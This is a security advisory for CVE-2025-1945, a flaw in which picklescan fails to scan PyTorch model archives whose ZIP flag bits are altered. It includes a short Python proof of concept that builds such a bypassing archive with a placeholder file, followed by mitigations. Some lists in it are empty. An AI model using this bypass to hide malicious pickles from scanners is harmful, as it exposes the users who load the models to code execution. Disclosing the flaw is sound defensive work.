CVE-2025-1945 | Sonatype Security Advisory

CVE-2025-1945

Summary

picklescan before 0.0.23 fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.

Severity rating & weakness enumeration

Rating: Medium - 5.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L

CWE-358: Improperly Implemented Security Check for Standard

Description

PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.

By modifying the flag_bits field in the ZIP file entry, an attacker can:

This technique effectively bypasses PickleScan's security checks while maintaining model functionality.

Proof-of-Concept (PoC)

The following example demonstrates how a crafted ZIP file could bypass Picklescan's security scan to load malicious model(s):

import os
import zipfile
import torch
from picklescan import cli

def can_scan(zip_file):
    try:
        cli.print_summary(False, cli.scan_file_path(zip_file))
        return True
    except Exception:
        return False

bit_to_flip = 0x1  # Change to 0x20 or 0x40 to test different flag bits

zip_file = "model.pth"
model = {'a': 1, 'b': 2, 'c': 3}
torch.save(model, zip_file)

with zipfile.ZipFile(zip_file, "r") as source:
    flipped_name = f"flipped_{bit_to_flip}_{zip_file}"
    with zipfile.ZipFile(flipped_name, "w") as dest:
        bad_file = zipfile.ZipInfo("model/bad_file.pkl")
        # Modify the ZIP flag bits
        bad_file.flag_bits |= bit_to_flip
        dest.writestr(bad_file, b"bad content")
        for item in source.infolist():
            dest.writestr(item, source.read(item.filename))

if model == torch.load(flipped_name, weights_only=False):
    if not can_scan(flipped_name):
        print('Found exploitable bit:', bit_to_flip)
else:
    os.remove(flipped_name)

Impact

Mitigations

  1. Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser that marches on when encountering modified flag bits.
  2. Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.

By addressing these issues, picklescan can provide stronger protection against manipulated PyTorch model archives.

Note: picklescan version 0.0.23 contains a fix for this issue and can be upgraded to.

Credits

Trevor Madge (@madgetr) of Sonatype